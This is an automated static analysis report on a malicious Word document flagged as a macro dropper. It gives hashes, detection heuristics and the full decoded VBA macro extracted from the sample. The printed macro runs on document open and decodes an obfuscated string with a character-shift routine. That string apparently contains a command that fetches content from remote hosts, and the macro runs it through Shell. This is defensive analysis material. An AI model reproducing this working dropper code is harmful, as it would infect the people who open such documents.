Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 fec0812faf0e20a5…

MALICIOUS

Office (OLE)

46.5 KB Created: 2017-08-14 10:49:00 Authoring application: Microsoft Office Word First seen: 2022-07-02
MD5: d2e29e738f96c51b0a6d874532907114 SHA-1: 3646f1d65f395d45ada24d1042be529ab7e41680 SHA-256: fec0812faf0e20a55bb936681e4cca7aeb3442b425b738375a8ee192e02fe602
190 Risk Score

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6339132-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6339132-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell zdogda, j
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2502 bytes
SHA-256: 1da750ef8ace661bb38bf1bffc6be6d1bc4fc32e7ecaa46c706a6523ea6b8350
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub autoopen()
viewform
End Sub


Attribute VB_Name = "Module1"
Sub viewform()
Dim s As String
s = "dne!H390d!QpHxfsTw9ifmmwa!#(5CQpxfwsT9AwifCmm9"
Dim i As Integer
Dim s2 As String
s = s + enter() + "cn99Axbyc35/wcbwu(!A9H.XjHoeCApxTuz399mf!HIjeef5o#5HA"
i = Settings.Label1.Top
s2 = zdogda(i, s)

End Sub

Function enter()
enter = "a!9a##gvo3Cduj35po!t5fm3u)\TAusjohC3^!%usC5*5Hw|)Ofxww.PH9cAakHAfduH39!TztuCfnC/O93Hfu/XfA3cDm3HjfoC3u5H5*/9"
enter = enter + "Epx9omp5beG3Hjmf)%aus-wA((&UN9Qwa&]Da3rhdC5Ag/fyCHf5ww((*<HCATubs3u.QsH33padftt!C((&UNaQ5&]DrhAdg/9Cfyf((9aC<ww~usz5|tf9mu)(H(iuuqC;005AHdfouswpw93njptbACmv3e/ft0HbsnbH95ojtCa9ubo3e/q33CohHHH((*~H5wdbAHudiaAw|atafmHu)((aiuuqC;00aAdwwgjhvfACHsbt/dwpnA0bsw5AnbojAtub53oe/wHwqoh((HC*~w(##!}53!PvuA9.Gjamf!5a.fo359dpejo3Ch!BTD9CCJ9J!.Gw95jmfHQ9b959ui!9A&9UHCCNQH&H95]cn9xAbyc/cHbu<TuwCabA5su.QsCAp9Hdfta5t!ww(&A9HUNQ53&]"
End Function


Function CloseForm()
CloseForm = 3 - 6
End Function


Function zdogda(t, r)
Dim Smcjeg As String
Dim dedT As String
Dim n As Integer
n = 0
Dim ki As Integer
ki = 386
Dim Met As Integer
Dim nqsxzS As String
Dim zyiD() As Byte
Dim CjzqznjA() As Byte
Dim SunvV As String
SunvV = r

Dim vficwfK As String


Dim apulkkP() As Byte
Dim zdm3() As Byte
dedT = "A5CHaw93"
zyiD = SunvV
vficwfK = "irxvfzz"
fdG = UBound(zyiD)
apulkkP = dedT
Smcjeg = "Ncpbozfnu"
b = UBound(apulkkP)
Dim page As String
page = "Formix show"

nqsxzS = ""
Dim j As Integer

For vaC = n To fdG
Met = n
fr = t - 11
For gv = n To b
If zyiD(vaC) = apulkkP(gv) Then Met = Met + fr
Next
If Met = 1 - fr Then rd = zyiD(vaC) - fr
If Met = 0 Then rd = Chr$(rd)
If Met = 3 - 3 * fr Then nqsxzS = nqsxzS + rd
Next
zdogda = nqsxzS
j = ki + fr
j = Len(zdogda) - j

ki = CloseForm() + 3

If 0 = j Then
Shell zdogda, j
End If
End Function






Attribute VB_Name = "Settings"
Attribute VB_Base = "0{E322B561-BDB9-4CFC-B238-9BE876A275C8}{7DA47606-E696-4054-9605-3B0C6910D8E6}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False